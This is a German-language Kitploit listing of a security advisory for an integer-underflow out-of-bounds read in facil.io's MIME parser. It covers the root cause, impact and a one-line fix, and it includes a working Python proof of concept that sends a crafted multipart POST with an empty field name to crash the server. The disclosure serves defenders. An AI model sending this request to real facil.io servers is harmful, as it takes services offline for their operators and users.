Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash — Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubtheopaid/cve-2026-66729-out-of-bounds-read-in-facil.io-mime-parser-leads-to-server-crash

CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash

Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
vor 24 TagenNoch nicht geprüft

Sicherheitshinweis: Out-of-Bounds-Read im facil.io-MIME-Parser führt zu Serverabsturz

Zugewiesene CVE-ID CVE-2026-66729

Produkt: facil.io
Betroffene Versionen: facil.io >= 0.6.0 (alle 0.6.x, alle 0.7.x, master); eingeführt, als der MIME-Parser in 0.6.0 hinzugefügt wurde
Komponente: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (Integer-Unterlauf), CWE-125 (Out-of-Bounds-Read)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Sicherheitsforscher: Theodosis Paidakis


Zusammenfassung

Ein uint32_t-Unterlauf im Parser für Multipart-MIME-Bodies verursacht einen Out-of-Bounds-Read, wenn ein Content-Disposition-Header einen leeren Feldnamen enthält (name=;). Wenn name_len Null ist, wird name[name_len - 1] zu name[0xFFFFFFFF] umgebrochen und liest etwa 4 GB nach dem name-Zeiger. Dies führt zu einem Speicherzugriffsfehler und stürzt den Serverprozess ab. Eine einzige nicht authentifizierte POST-Anfrage ist ausreichend.


Grundursache

lib/facil/http/parsers/http_mime_parser.h, Zeilen 235-241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
    name_len = (size_t)(start - name);   // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"')           // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
    --name_len;

name_len ist als uint32_t deklariert. Bei der Eingabe name=; findet memchr das ; an derselben Position wie name, also ist start - name = 0. Subtrahiert man 1 von einer Null-uint32_t, ergibt sich ein Überlauf zu 0xFFFFFFFF. Der Ausdruck name[0xFFFFFFFF] berechnet name_ptr + 4294967295, was weit außerhalb jedes zugeordneten Bereichs liegt.

Die Prüfung in Zeile 236 (name[name_len - 1] == '\r') im anderen Zweig folgt demselben Muster, aber dort wird name_len als end - name berechnet und ist in der Praxis nicht Null.


Proof of Concept

Starten Sie den Server und führen Sie dann aus:

root@kitploit:~
# poc_mime_oob_read.py
import socket

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=;\r\n"  # empty name before semicolon
    "\r\n"
    "value\r\n"
    "--B--\r\n"
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096))  # no response — server crashed
print('Check the server')

ASAN-Ausgabe (bestätigt):

root@kitploit:~
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF

Auswirkungen

Eine einzige Anfrage stürzt den Worker-Prozess ab. In Bereitstellungen mit mehreren Workern stirbt nur der betroffene Worker; der Master startet ihn neu. Im Single-Worker-Modus geht der Server offline. Der Lesezugriff löst einen Fehler aus, bevor Daten zurückgegeben werden, daher ist eine Offenlegung von Informationen nicht nachgewiesen.


Behebung

lib/facil/http/parsers/http_mime_parser.h, Zeile 241

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
    --name_len;
Tool herunterladen